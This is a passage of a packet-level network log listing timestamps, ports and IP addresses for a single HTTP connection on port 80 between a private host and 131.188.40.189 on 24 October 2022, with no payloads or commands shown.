Oct 24, 2022 11:00:50.741069078 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.741086960 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.741103888 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.741111040 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.741130114 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.741134882 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.741149902 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.741153955 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.741172075 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.741192102 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.741204023 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.741209984 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.741229057 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.741240025 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.741249084 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.741271019 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.741288900 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.741298914 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.741306067 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.741323948 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.741326094 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.741348982 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.741350889 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.741369009 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.741386890 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.741395950 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.741405010 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.741422892 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.741441965 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.741451025 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.741461039 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.741472006 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.741486073 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.741503954 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.741511106 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.741520882 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.741539001 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.741556883 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.741575003 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.741584063 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.741595984 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.741609097 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.741633892 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.741657972 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.741662979 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.741676092 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.741694927 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.741698027 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.741714001 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.741724014 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.741736889 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.741758108 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.741775990 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.741791010 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.741794109 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.741810083 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.741815090 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.741837978 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.741843939 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.741856098 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.741873026 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.741890907 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.741906881 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.741915941 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.741926908 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.741936922 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.741955996 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.741966009 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.741972923 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.741990089 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.742007971 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.742022991 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.742029905 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.742052078 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.742052078 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.742077112 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.742078066 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.742100954 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.742120028 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.742136955 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.742150068 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.742156029 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.742173910 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.742177010 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.742193937 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.742202044 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.742213964 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.742237091 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.742245913 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.742254019 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.742271900 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.742290974 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.742302895 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.742307901 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.742326021 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.742332935 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.742345095 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.742360115 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.742363930 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.742392063 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.762805939 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.762845993 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.762865067 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.762896061 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.762922049 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.762945890 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.762944937 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.762970924 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.762975931 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.762978077 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.762999058 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.763014078 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.763022900 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.763044119 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.763063908 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.763067007 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.763087988 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.763106108 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.763128996 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.763129950 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.763153076 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.763154030 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.763175011 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.763194084 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.763216019 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.763216972 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.763240099 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.763240099 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.763262987 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.763282061 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.763304949 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.763308048 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.763325930 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.763329029 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.763350010 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.763369083 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.763387918 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.763396978 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.763411999 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.763418913 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.763437986 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.763453960 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.763463020 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.763482094 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.763499975 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.763520002 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.763524055 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.763540983 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.763549089 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.763567924 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.763590097 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.763613939 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.763621092 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.763631105 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.763639927 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.763659000 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.763676882 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.763698101 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.763701916 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.763720989 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.763726950 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.763746023 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.763761044 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.763770103 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.763793945 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.763813019 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.763834000 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.763837099 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.763860941 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.763860941 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.763884068 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.763906956 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.763928890 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.763931990 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.763948917 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.763957024 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.763976097 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.763995886 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.764018059 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.764022112 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.764039993 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.764046907 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.764077902 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.764100075 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.764123917 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.764125109 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.764142990 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.764147997 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.764167070 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.764185905 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.764209032 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.764219999 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.764228106 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.764235020 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.764254093 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.764276981 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.764293909 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.764300108 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.764314890 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.764324903 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.764342070 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.764360905 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.764365911 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.764381886 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.764401913 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.764422894 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.764425039 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.764446974 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.764446974 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.764465094 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.764482021 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.764502048 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.764508009 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.764523029 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.764528990 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.764544010 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.764560938 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.764565945 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.764588118 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.764605045 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.764626026 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.764627934 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.764647961 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.764648914 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.764667988 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.764686108 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.764704943 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.764708042 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.764727116 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.764731884 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.764746904 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.764764071 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.764782906 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.764786005 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.764802933 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.764810085 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.764827967 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.764847994 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.764867067 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.764874935 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.764888048 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.764894962 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.764908075 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.764929056 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.764930964 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.764949083 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.764966011 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.764987946 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.764990091 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.765007019 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.765011072 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.765028954 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.765048027 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.765069008 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.765070915 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.765093088 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.765100956 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.765119076 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.765136003 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.765157938 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.765160084 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.765186071 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.765189886 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.765209913 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.765229940 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.765234947 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.765250921 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.765269041 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.765290976 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.765297890 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.765316010 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.765328884 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.765337944 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.765357971 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.765361071 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.765379906 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.765398979 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.765404940 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.765419006 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.765435934 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.765455008 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.765467882 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.765480042 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.765486002 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.765501976 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.765522957 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.765536070 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.765544891 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.765558958 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.765568018 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.765588045 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.765607119 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.765626907 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.765650034 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.765670061 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.765688896 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.765698910 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.765712023 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.765722036 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.765733957 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.765755892 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.765758991 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.765779018 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.765800953 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.765800953 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.765821934 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.765844107 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.786288023 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.786349058 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.786386967 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.786427021 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.786468029 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.786469936 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.786505938 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.786509991 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.786544085 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.786556959 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.786582947 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.786585093 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.786627054 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.786665916 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.786669016 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.786701918 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.786740065 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.786777973 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.786782980 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.786814928 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.786844015 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.786884069 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.786900997 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.786946058 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.786989927 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.787028074 CEST	80	49719	131.188.40.189	192.168.2.3
